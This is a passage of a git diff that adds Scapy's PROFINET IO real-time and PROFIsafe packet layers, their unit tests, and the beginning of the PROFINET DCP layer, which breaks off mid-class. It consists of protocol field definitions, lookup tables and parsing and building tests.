in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) 2016 Gauthier Sebaux + +# scapy.contrib.description = ProfinetIO RTC (+Profisafe) layer +# scapy.contrib.status = loads +import copy +from scapy.compat import raw +from scapy.error import Scapy_Exception +from scapy.config import conf +from scapy.packet import Packet, bind_layers +from scapy.layers.l2 import Ether +from scapy.layers.inet import UDP +from scapy.fields import ( + XShortEnumField, BitEnumField, XBitField, + BitField, StrField, PacketListField, + StrFixedLenField, ShortField, + FlagsField, ByteField, XIntField, X3BytesField +) +from scapy.modules import six + +PNIO_FRAME_IDS = { + 0x0020: "PTCP-RTSyncPDU-followup", + 0x0080: "PTCP-RTSyncPDU", + 0xFC01: "Alarm High", + 0xFE01: "Alarm Low", + 0xFEFC: "DCP-Hello-Req", + 0xFEFD: "DCP-Get-Set", + 0xFEFE: "DCP-Identify-ReqPDU", + 0xFEFF: "DCP-Identify-ResPDU", + 0xFF00: "PTCP-AnnouncePDU", + 0xFF20: "PTCP-FollowUpPDU", + 0xFF40: "PTCP-DelayReqPDU", + 0xFF41: "PTCP-DelayResPDU-followup", + 0xFF42: "PTCP-DelayFuResPDU", + 0xFF43: "PTCP-DelayResPDU", +} + + +def i2s_frameid(x): + """ Get representation name of a pnio frame ID + + :param x: a key of the PNIO_FRAME_IDS dictionary + :returns: str + """ + try: + return PNIO_FRAME_IDS[x] + except KeyError: + pass + if 0x0100 <= x < 0x1000: + return "RT_CLASS_3 (%4x)" % x + if 0x8000 <= x < 0xC000: + return "RT_CLASS_1 (%4x)" % x + if 0xC000 <= x < 0xFC00: + return "RT_CLASS_UDP (%4x)" % x + if 0xFF80 <= x < 0xFF90: + return "FragmentationFrameID (%4x)" % x + return x + + +def s2i_frameid(x): + """ Get pnio frame ID from a representation name + + Performs a reverse look-up in PNIO_FRAME_IDS dictionary + + :param x: a value of PNIO_FRAME_IDS dict + :returns: integer + """ + try: + return { + "RT_CLASS_3": 0x0100, + "RT_CLASS_1": 0x8000, + "RT_CLASS_UDP": 0xC000, + "FragmentationFrameID": 0xFF80, + }[x] + except KeyError: + pass + try: + return next(key for key, value in six.iteritems(PNIO_FRAME_IDS) + if value == x) + except StopIteration: + pass + return x + + +################# +# PROFINET IO # +################# + +class ProfinetIO(Packet): + """ Basic PROFINET IO dispatcher """ + fields_desc = [ + XShortEnumField("frameID", 0, (i2s_frameid, s2i_frameid)) + ] + + def guess_payload_class(self, payload): + # For frameID in the RT_CLASS_* range, use the RTC packet as payload + if self.frameID in [0xfefe, 0xfeff, 0xfefd]: + from scapy.contrib.pnio_dcp import ProfinetDCP + return ProfinetDCP + elif ( + (0x0100 <= self.frameID < 0x1000) or + (0x8000 <= self.frameID < 0xFC00) + + + ): + return PNIORealTimeCyclicPDU + return super(ProfinetIO, self).guess_payload_class(payload) + + +bind_layers(Ether, ProfinetIO, type=0x8892) +bind_layers(UDP, ProfinetIO, dport=0x8892) + + +##################################### +# PROFINET Real-Time Data Packets # +##################################### + +conf.contribs["PNIO_RTC"] = {} + + +class PNIORealTime_IOxS(Packet): + """ IOCS and IOPS packets for PROFINET Real-Time payload """ + name = "PNIO RTC IOxS" + fields_desc = [ + # IOxS.DataState -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 181 + BitEnumField("dataState", 1, 1, ["bad", "good"]), + # IOxS.Instance -- IEC-61158 - 6 - 10 / FDIS ED 3, Table 180 + BitEnumField("instance", 0, 2, + ["subslot", "slot", "device", "controller"]), + # IOxS.reserved -- IEC-61158 - 6 - 10 / FDIS ED 3, line 2649 + XBitField("reserved", 0, 4), + # IOxS.Extension -- IEC-61158-6-10/FDIS ED 3, Table 179 + BitField("extension", 0, 1), + ] + + @classmethod + def is_extension_set(cls, _pkt, _lst, p, _remain): + ret = cls if isinstance(p, type(None)) or p.extension != 0 else None + return ret + + @classmethod + def get_len(cls): + return sum(type(fld).i2len(None, 0) for fld in cls.fields_desc) + + def guess_payload_class(self, p): + return conf.padding_layer + + +class PNIORealTimeCyclicDefaultRawData(Packet): + name = "PROFINET IO Real Time Cyclic Default Raw Data" + fields_desc = [ + # 4 is the sum of the size of the CycleCounter + DataStatus + # + TransferStatus trailing from PNIORealTimeCyclicPDU + StrField("data", '', remain=4) + ] + + def guess_payload_class(self, payload): + return conf.padding_layer + + +class PNIORealTimeCyclicPDU(Packet): + """ PROFINET cyclic real-time """ + __slots__ = ["_len", "_layout"] + name = "PROFINET Real-Time" + + fields_desc = [ + # C_SDU ^ CSF_SDU -- IEC-61158-6-10/FDIS ED 3, Table 163 + PacketListField( + "data", [], + next_cls_cb=lambda pkt, lst, p, remain: pkt.next_cls_cb( + lst, p, remain) + ), + # RTCPadding -- IEC - 61158 - 6 - 10 / FDIS ED 3, Table 163 + StrFixedLenField("padding", '', + length_from=lambda p: p.get_padding_length()), + # APDU_Status -- IEC-61158-6-10/FDIS ED 3, Table 164 + ShortField("cycleCounter", 0), + FlagsField("dataStatus", 0x35, 8, [ + "primary", + "redundancy", + "validData", + "reserved_1", + "run", + "no_problem", + "reserved_2", + "ignore", + ]), + ByteField("transferStatus", 0) + ] + + def pre_dissect(self, s): + # Constraint from IEC-61158-6-10/FDIS ED 3, line 690 + self._len = min(1440, len(s)) + return s + + def get_padding_length(self): + if hasattr(self, "_len"): + pad_len = ( + self._len - + sum(len(raw(pkt)) for pkt in self.getfieldval("data")) - + 2 - # Cycle Counter size (ShortField) + 1 - # DataStatus size (FlagsField over 8 bits) + 1 # TransferStatus (ByteField) + ) + else: + pad_len = len(self.getfieldval("padding")) + + # Constraints from IEC-61158-6-10/FDIS ED 3, Table 163 + assert(0 <= pad_len <= 40) + q = self + while not isinstance(q, UDP) and hasattr(q, "underlayer"): + q = q.underlayer + if isinstance(q, UDP): + assert(0 <= pad_len <= 12) + return pad_len + + def next_cls_cb(self, _lst, _p, _remain): + if hasattr(self, "_layout") and isinstance(self._layout, list): + try: + return self._layout.pop(0) + except IndexError: + self._layout = None + return None + + ether_layer = None + q = self + while not isinstance(q, Ether) and hasattr(q, "underlayer"): + q = q.underlayer + if isinstance(q, Ether): + ether_layer = q + + pnio_layer = None + q = self + while not isinstance(q, ProfinetIO) and hasattr(q, "underlayer"): + q = q.underlayer + if isinstance(q, ProfinetIO): + pnio_layer = q + + self._layout = [PNIORealTimeCyclicDefaultRawData] + if not (ether_layer is None and pnio_layer is None): + # Get from config the layout for these hosts and frameid + layout = type(self).get_layout_from_config( + ether_layer.src, + ether_layer.dst, + pnio_layer.frameID) + if not isinstance(layout, type(None)): + self._layout = layout + + return self._layout.pop(0) + + @staticmethod + def get_layout_from_config(ether_src, ether_dst, frame_id): + try: + return copy.deepcopy( + conf.contribs["PNIO_RTC"][(ether_src, ether_dst, frame_id)] + ) + except KeyError: + return None + + @staticmethod + def build_fixed_len_raw_type(length): + return type( + "FixedLenRawPacketLen{}".format(length), + (conf.raw_layer,), + { + "name": "FixedLenRawPacketLen{}".format(length), + "fields_desc": [StrFixedLenField("data", '', length=length)], + "get_data_length": lambda _: length, + "guess_payload_class": lambda self, p: conf.padding_layer, + } + ) + + +# From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 20 +profisafe_control_flags = [ + "iPar_EN", "OA_Req", "R_cons_nr", "Use_TO2", + "activate_FV", "Toggle_h", "ChF_Ack", "Loopcheck" +] +# From IEC 61784-3-3 Ed. 3 PROFIsafe v.2.6, Figure 19 +profisafe_status_flags = [ + "iPar_OK", "Device_Fault/ChF_Ack_Req", "CE_CRC", + "WD_timeout", "FV_activated", "Toggle_d", "cons_nr_R", "reserved" +] + + +class PROFIsafeCRCSeed(Packet): + __slots__ = ["_len"] + Packet.__slots__ + + def guess_payload_class(self, p): + return conf.padding_layer + + def get_data_length(self): + """ Must be overridden in a subclass to return the correct value """ + raise Scapy_Exception( + "This method must be overridden in a specific subclass" + ) + + def get_mandatory_fields_len(self): + # 5 is the len of the control/status byte + the CRC length + return 5 + + @staticmethod + def get_max_data_length(): + # Constraints from IEC-61784-3-3 ED 3, Figure 18 + return 13 + + +class PROFIsafeControlCRCSeed(PROFIsafeCRCSeed): + name = "PROFISafe Control Message with F_CRC_Seed=1" + fields_desc = [ + StrFixedLenField("data", '', + length_from=lambda p: p.get_data_length()), + FlagsField("control", 0, 8, profisafe_control_flags), + XIntField("crc", 0) + ] + + +class PROFIsafeStatusCRCSeed(PROFIsafeCRCSeed): + name = "PROFISafe Status Message with F_CRC_Seed=1" + fields_desc = [ + StrFixedLenField("data", '', + length_from=lambda p: p.get_data_length()), + FlagsField("status", 0, 8, profisafe_status_flags), + XIntField("crc", 0) + ] + + +class PROFIsafe(Packet): + __slots__ = ["_len"] + Packet.__slots__ + + def guess_payload_class(self, p): + return conf.padding_layer + + def get_data_length(self): + """ Must be overridden in a subclass to return the correct value """ + raise Scapy_Exception( + "This method must be overridden in a specific subclass" + ) + + def get_mandatory_fields_len(self): + # 4 is the len of the control/status byte + the CRC length + return 4 + + @staticmethod + def get_max_data_length(): + # Constraints from IEC-61784-3-3 ED 3, Figure 18 + return 12 + + @staticmethod + def build_PROFIsafe_class(cls, data_length): + assert(cls.get_max_data_length() >= data_length) + return type( + "{}Len{}".format(cls.__name__, data_length), + (cls,), + { + "get_data_length": lambda _: data_length, + } + ) + + +class PROFIsafeControl(PROFIsafe): + name = "PROFISafe Control Message with F_CRC_Seed=0" + fields_desc = [ + StrFixedLenField("data", '', + length_from=lambda p: p.get_data_length()), + FlagsField("control", 0, 8, profisafe_control_flags), + X3BytesField("crc", 0) + ] + + +class PROFIsafeStatus(PROFIsafe): + name = "PROFISafe Status Message with F_CRC_Seed=0" + fields_desc = [ + StrFixedLenField("data", '', + length_from=lambda p: p.get_data_length()), + FlagsField("status", 0, 8, profisafe_status_flags), + X3BytesField("crc", 0) + ] diff --git a/libs/scapy/contrib/pnio.uts b/libs/scapy/contrib/pnio.uts new file mode 100755 index 0000000..d783374 --- /dev/null +++ b/libs/scapy/contrib/pnio.uts @@ -0,0 +1,228 @@ +# coding: utf8 +% ProfinetIO layer test campaign + ++ Syntax check += Import the ProfinetIO layer +from scapy.contrib.pnio import * +from scapy.config import conf +import re +old_conf_dissector = conf.debug_dissector +conf.debug_dissector=True + + ++ Check DCE/RPC layer + += ProfinetIO default values +raw(ProfinetIO()) == b'\x00\x00' + += ProfinetIO overloads Ethertype +p = Ether() / ProfinetIO() +p.type == 0x8892 + += ProfinetIO overloads UDP dport +p = UDP() / ProfinetIO() +p.dport == 0x8892 + += Ether guesses ProfinetIO as payload class +p = Ether(hex_bytes('ffffffffffff00000000000088920102')) +isinstance(p.payload, ProfinetIO) and p.frameID == 0x0102 + += UDP guesses ProfinetIO as payload class +p = UDP(hex_bytes('12348892000a00000102')) +isinstance(p.payload, ProfinetIO) and p.frameID == 0x0102 + + ++ PNIO RTC PDU tests + += ProfinetIO PNIORealTime_IOxS parsing of a single status + +p = PNIORealTime_IOxS(b'\x80') +assert(p.dataState == 1) +assert(p.instance == 0) +assert(p.reserved == 0) +assert(p.extension == 0) + +p = PNIORealTime_IOxS(b'\xe1') +assert(p.dataState == 1) +assert(p.instance == 3) +assert(p.reserved == 0) +assert(p.extension == 1) +True + += ProfinetIO PNIORealTime_IOxS building of a single status +p = PNIORealTime_IOxS(dataState = 'good', instance='subslot', extension=0) +assert(raw(p) == b'\x80') + +p = PNIORealTime_IOxS(dataState = 'bad', instance='device', extension=1) +assert(raw(p) == b'\x41') +True + += ProfinetIO PNIORealTime_IOxS parsing with multiple statuses +TestPacket = type( + 'TestPacket', + (Packet,), + { + 'name': 'TestPacket', + 'fields_desc': [ + PacketListField('data', [], next_cls_cb= PNIORealTime_IOxS.is_extension_set) + ], + } +) + +p = TestPacket(b'\x81\xe1\x01\x80') +assert(len(p.data) == 4) +assert(p.data[0].dataState == 1) +assert(p.data[0].instance == 0) +assert(p.data[0].reserved == 0) +assert(p.data[0].extension == 1) +assert(p.data[1].dataState == 1) +assert(p.data[1].instance == 3) +assert(p.data[1].reserved == 0) +assert(p.data[1].extension == 1) +assert(p.data[2].dataState == 0) +assert(p.data[2].instance == 0) +assert(p.data[2].reserved == 0) +assert(p.data[2].extension == 1) +assert(p.data[3].dataState == 1) +assert(p.data[3].instance == 0) +assert(p.data[3].reserved == 0) +assert(p.data[3].extension == 0) + += ProfinetIO RTC PDU parsing without configuration +p = Ether(b'\x00\x02\x04\x06\x08\x0a\x01\x03\x05\x07\x09\x0B\x88\x92\x80\x00\x01\x02\x03\x04\xf0\x00\x35\x00') +assert(p[Ether].dst == '00:02:04:06:08:0a') +assert(p[Ether].src == '01:03:05:07:09:0b') +assert(p[Ether].type == 0x8892) +assert(p[ProfinetIO].frameID == 0x8000) +assert(isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)) +assert(len(p[PNIORealTimeCyclicPDU].data) == 1) +assert(isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData)) +assert(p[PNIORealTimeCyclicDefaultRawData].data == b'\x01\x02\x03\x04') +assert(p[PNIORealTimeCyclicPDU].padding == b'') +assert(p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000) +assert(p[PNIORealTimeCyclicPDU].dataStatus == 0x35) +assert(p[PNIORealTimeCyclicPDU].transferStatus == 0) +True + += ProfinetIO RTC PDU building +p = Ether(src='01:03:05:07:09:0b', dst='00:02:04:06:08:0a')/ProfinetIO(frameID = 'PTCP-RTSyncPDU')/PNIORealTimeCyclicPDU( + data=[ + PNIORealTimeCyclicPDU.build_fixed_len_raw_type(10)(data = b'\x80'*10) + ], + padding = b'\x00'*8, + cycleCounter = 900, + dataStatus = 0x35, + transferStatus = 0 +) + +assert( + raw(p) == \ + b'\x00\x02\x04\x06\x08\x0a' \ + b'\x01\x03\x05\x07\x09\x0b' \ + b'\x88\x92' \ + b'\x00\x80' \ + b'\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80' \ + b'\x00\x00\x00\x00\x00\x00\x00\x00' \ + b'\x03\x84' \ + b'\x35' \ + b'\x00' +) + += ProfinetIO RTC PDU parsing with config + +scapy.config.conf.contribs['PNIO_RTC'][('01:03:05:07:09:0b', '00:02:04:06:08:0a', 0x8010)] = [ + PNIORealTimeCyclicPDU.build_fixed_len_raw_type(5), + PNIORealTimeCyclicPDU.build_fixed_len_raw_type(3), + PNIORealTimeCyclicPDU.build_fixed_len_raw_type(2) +] +p = Ether( + b'\x00\x02\x04\x06\x08\x0a' \ + b'\x01\x03\x05\x07\x09\x0B' \ + b'\x88\x92' \ + b'\x80\x10' \ + b'\x01\x02\x03\x04\x05' \ + b'\x01\x02\x03' \ + b'\x01\x02' \ + b'\x00\x00' \ + b'\xf0\x00' \ + b'\x35' \ + b'\x00' +) + +assert(p[Ether].dst == '00:02:04:06:08:0a') +assert(p[Ether].src == '01:03:05:07:09:0b') +assert(p[Ether].type == 0x8892) +assert(p[ProfinetIO].frameID == 0x8010) +assert(isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)) +assert(len(p[PNIORealTimeCyclicPDU].data) == 3) +assert(isinstance(p[PNIORealTimeCyclicPDU].data[0], scapy.config.conf.raw_layer)) +assert(p[PNIORealTimeCyclicPDU].data[0].data == b'\x01\x02\x03\x04\x05') +assert(isinstance(p[PNIORealTimeCyclicPDU].data[1], scapy.config.conf.raw_layer)) +assert(p[PNIORealTimeCyclicPDU].data[1].data == b'\x01\x02\x03') +assert(isinstance(p[PNIORealTimeCyclicPDU].data[2], scapy.config.conf.raw_layer)) +assert(p[PNIORealTimeCyclicPDU].data[2].data == b'\x01\x02') +assert(p[PNIORealTimeCyclicPDU].padding == b'\x00' * 2) +assert(p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000) +assert(p[PNIORealTimeCyclicPDU].dataStatus == 0x35) +assert(p[PNIORealTimeCyclicPDU].transferStatus == 0) + +p = Ether(b'\x00\x02\x04\x06\x08\x0a\x01\x03\x05\x07\x09\x0B\x88\x92\x80\x00\x01\x02\x03\x04\xf0\x00\x35\x00') +assert(p[Ether].dst == '00:02:04:06:08:0a') +assert(p[Ether].src == '01:03:05:07:09:0b') +assert(p[Ether].type == 0x8892) +assert(p[ProfinetIO].frameID == 0x8000) +assert(isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)) +assert(len(p[PNIORealTimeCyclicPDU].data) == 1) +assert(isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData)) +assert(p[PNIORealTimeCyclicDefaultRawData].data == b'\x01\x02\x03\x04') +assert(p[PNIORealTimeCyclicPDU].padding == b'') +assert(p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000) +assert(p[PNIORealTimeCyclicPDU].dataStatus == 0x35) +assert(p[PNIORealTimeCyclicPDU].transferStatus == 0) +True + += PROFIsafe parsing (query with F_CRC_SEED=0) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(b'\x80\x80\x40\x01\x02\x03') +assert(p.data == b'\x80\x80') +assert(p.control == 0x40) +assert(p.crc == 0x010203) +True + += PROFIsafe parsing (query with F_CRC_SEED=1) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(b'\x80\x80\x40\x01\x02\x03\x04') +assert(p.data == b'\x80\x80') +assert(p.control == 0x40) +assert(p.crc == 0x01020304) +True + += PROFIsafe parsing (response with F_CRC_SEED=0) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 1)(b'\x80\x40\x01\x02\x03') +assert(p.data == b'\x80') +assert(p.status == 0x40) +assert(p.crc == 0x010203) +True + += PROFIsafe parsing (response with F_CRC_SEED=1) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 1)(b'\x80\x40\x01\x02\x03\x04') +assert(p.data == b'\x80') +assert(p.status == 0x40) +assert(p.crc == 0x01020304) +True + += PROFIsafe building (query with F_CRC_SEED=0) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(data = b'\x81\x80', control=0x40, crc=0x040506) +assert(raw(p) == b'\x81\x80\x40\x04\x05\x06') + += PROFIsafe building (query with F_CRC_SEED=1) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(data = b'\x81\x80', control=0x02, crc=0x04050607) +assert(raw(p) == b'\x81\x80\x02\x04\x05\x06\x07') + += PROFIsafe building (response with F_CRC_SEED=0) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 3)(data = b'\x01\x81\x00', status=0x01, crc=0x040506) +assert(raw(p) == b'\x01\x81\x00\x01\x04\x05\x06') + += PROFIsafe building (response with F_CRC_SEED=1) +p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 3)(data = b'\x01\x81\x80', status=0x01, crc=0x04050607) +assert(raw(p) == b'\x01\x81\x80\x01\x04\x05\x06\x07') + +conf.debug_dissector = old_conf_dissector diff --git a/libs/scapy/contrib/pnio_dcp.py b/libs/scapy/contrib/pnio_dcp.py new file mode 100755 index 0000000..ab5cd1b --- /dev/null +++ b/libs/scapy/contrib/pnio_dcp.py @@ -0,0 +1,601 @@ +# coding: utf8 + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) 2019 Stefan Mehner (stefan.mehner@b-tu.de) + +# scapy.contrib.description = Profinet DCP layer +# scapy.contrib.status = loads + +from scapy.compat import orb +from scapy.all import Packet, bind_layers, Padding +from scapy.fields import ByteEnumField, ShortField, XShortField, \ + ShortEnumField, FieldLenField, XByteField, XIntField, MultiEnumField, \ + IPField, MACField, StrLenField, PacketListField, PadField, \ + ConditionalField, LenField + +# minimum packet is 60 bytes.. 14 bytes are Ether() +MIN_PACKET_LENGTH = 44 + +##################################################### +# Constants # +##################################################### + +DCP_GET_SET_FRAME_ID = 0xFEFD +DCP_IDENTIFY_REQUEST_FRAME_ID = 0xFEFE +DCP_IDENTIFY_RESPONSE_FRAME_ID = 0xFEFF + +DCP_REQUEST = 0x00 +DCP_RESPONSE = 0x01 + +DCP_SERVICE_ID_GET = 0x03 +DCP_SERVICE_ID_SET = 0x04 +DCP_SERVICE_ID_IDENTIFY = 0x05 + +DCP_SERVICE_ID = { + 0x00: "reserved", + 0x01: "Manufacturer specific", + 0x02: "Manufacturer specific", + 0x03: "Get", + 0x04: "Set", + 0x05: "Identify", + 0x06: "Hello", +} + +DCP_SERVICE_TYPE = { + 0x00: "Request", + 0x01: "Response Success", + 0x05: "Response - Request not supported", +} + +DCP_DEVICE_ROLES = { + 0x00: "IO Supervisor", + 0x01: "IO Device", + 0x02: "IO Controller", + +} + +DCP_OPTIONS = { + 0x00: "reserved", + 0x01: "IP", + 0x02: "Device properties", + 0x03: "DHCP", + 0x04: "Reserved", + 0x05: "Control", + 0x06: "Device Initiative", + 0xff: "All Selector" +} +DCP_OPTIONS.update({i: "reserved" for i in range(0x07, 0x7f)}) +DCP_OPTIONS.update({i: "Manufacturer specific" for i in range(0x80, 0xfe)}) + +DCP_SUBOPTIONS = { + # ip + 0x01: { + 0x00: "Reserved", + 0x01: "MAC Address", + 0x02: "IP Parameter" + }, + # device properties + 0x02: { + 0x00: "Reserved", + 0x01: "Manufacturer specific (Type of Station)", + 0x02: "Name of Station", + 0x03: "Device ID", + 0x04: "Device Role", + 0x05: "Device Options", + 0x06: "Alias Name", + 0x07: "Device Instance", + 0x08: "OEM Device ID", + }, + # dhcp + 0x03: { + 0x0c: "Host name", + 0x2b: "Vendor specific", + 0x36: "Server identifier", + 0x37: "Parameter request list", + 0x3c: "Class identifier", + 0x3d: "DHCP client identifier", + 0x51: "FQDN, Fully Qualified Domain Name", + 0x61: "UUID/GUID-based Client", + 0xff: "Control DHCP for address resolution" + }, + # control + 0x05: { + 0x00: "Reserved", + 0x01: "Start Transaction", + 0x02: "End Transaction", + 0x03: "Signal", + 0x04: "Response", + 0x05: "Reset Factory Settings", + 0x06: "Reset to Factory" + }, + # device initiative + 0x06: { + 0x00: "Reserved", + 0x01: "Device Initiative" + }, + 0xff: { + 0xff: "ALL Selector" + } +} + +BLOCK_INFOS = { + 0x00: "Reserved", +} +BLOCK_INFOS.update({i: "reserved" for i in range(0x01, 0xff)}) + + +IP_BLOCK_INFOS = { + 0x0000: "IP not set", + 0x0001: "IP set", + 0x0002: "IP set by DHCP", + 0x0080: "IP not set (address conflict detected)", + 0x0081: "IP set (address conflict detected)", + 0x0082: "IP set by DHCP (address conflict detected)", +} +IP_BLOCK_INFOS.update({i: "reserved" for i in range(0x0003, 0x007f)}) + +BLOCK_ERRORS = { + 0x00: "Ok", + 0x01: "Option unsupp.", + 0x02: "Suboption unsupp. or no DataSet avail.", + 0x03: "Suboption not set", + 0x04: "Resource Error", + 0x05: "SET not possible by local reasons", + 0x06: "In operation, SET not possible", +} + +BLOCK_QUALIFIERS = { + 0x0000: "Use the value temporary", + 0x0001: "Save the value permanent", +} +BLOCK_QUALIFIERS.update({i: "reserved" for i in range(0x0002, 0x00ff)}) + + +##################################################### +# DCP Blocks # +##################################################### + +# GENERIC DCP BLOCK + +# DCP RESPONSE BLOCKS + +class DCPBaseBlock(Packet): + """ + base class for all DCP Blocks + """ + fields_desc = [ + ByteEnumField("option", 1, DCP_OPTIONS), + MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + FieldLenField("dcp_block_length", None, length_of="data"), + ShortEnumField("block_info", 0, BLOCK_INFOS), + StrLenField("data", "", length_from=lambda x: x.dcp_block_length), + ] + + def extract_padding(self, s): + return '', s + + +# OPTION: IP + +class DCPIPBlock(Packet): + fields_desc = [ + ByteEnumField("option", 1, DCP_OPTIONS), + MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + LenField("dcp_block_length", None), + ShortEnumField("block_info", 1, IP_BLOCK_INFOS), + IPField("ip", "192.168.0.2"), + IPField("netmask", "255.255.255.0"), + IPField("gateway", "192.168.0.1"), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +class DCPMACBlock(Packet): + fields_desc = [ + ByteEnumField("option", 1, DCP_OPTIONS), + MultiEnumField("sub_option", 1, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + FieldLenField("dcp_block_length", None), + ShortEnumField("block_info", 0, BLOCK_INFOS), + MACField("mac", "00:00:00:00:00:00"), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +# OPTION: Device Properties + +class DCPManufacturerSpecificBlock(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 1, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + FieldLenField("dcp_block_length", None), + ShortEnumField("block_info", 0, BLOCK_INFOS), + StrLenField("device_vendor_value", "et200sp", + length_from=lambda x: x.dcp_block_length - 2), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +class DCPNameOfStationBlock(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + FieldLenField("dcp_block_length", None, length_of="name_of_station", + adjust=lambda p, x: x + 2), + + ShortEnumField("block_info", 0, BLOCK_INFOS), + StrLenField("name_of_station", "et200sp", + length_from=lambda x: x.dcp_block_length - 2), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +class DCPDeviceIDBlock(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 3, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + LenField("dcp_block_length", None), + ShortEnumField("block_info", 0, BLOCK_INFOS), + XShortField("vendor_id", 0x002a), + XShortField("device_id", 0x0313), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +class DCPDeviceRoleBlock(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 4, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + LenField("dcp_block_length", 4), + ShortEnumField("block_info", 0, BLOCK_INFOS), + ByteEnumField("device_role_details", 1, DCP_DEVICE_ROLES), + XByteField("reserved", 0x00), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +# one DeviceOptionsBlock can contain 1..n different options +class DeviceOption(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 5, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + ] + + def extract_padding(self, s): + return '', s + + +class DCPDeviceOptionsBlock(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 5, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + LenField("dcp_block_length", None), + ShortEnumField("block_info", 0, BLOCK_INFOS), + + PacketListField("device_options", [], DeviceOption, + length_from=lambda p: p.dcp_block_length - 2), + + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +class DCPAliasNameBlock(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 6, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + FieldLenField("dcp_block_length", None, length_of="alias_name", + adjust=lambda p, x: x + 2), + ShortEnumField("block_info", 0, BLOCK_INFOS), + StrLenField("alias_name", "et200sp", + length_from=lambda x: x.dcp_block_length - 2), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +class DCPDeviceInstanceBlock(Packet): + fields_desc = [ + ByteEnumField("option", 2, DCP_OPTIONS), + MultiEnumField("sub_option", 7, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + LenField("dcp_block_length", 4), + ShortEnumField("block_info", 0, BLOCK_INFOS), + XByteField("device_instance_high", 0x00), + XByteField("device_instance_low", 0x01), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +class DCPControlBlock(Packet): + fields_desc = [ + ByteEnumField("option", 5, DCP_OPTIONS), + MultiEnumField("sub_option", 4, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + LenField("dcp_block_length", 3), + ByteEnumField("response", 2, DCP_OPTIONS), + MultiEnumField("response_sub_option", 2, DCP_SUBOPTIONS, fmt='B', + 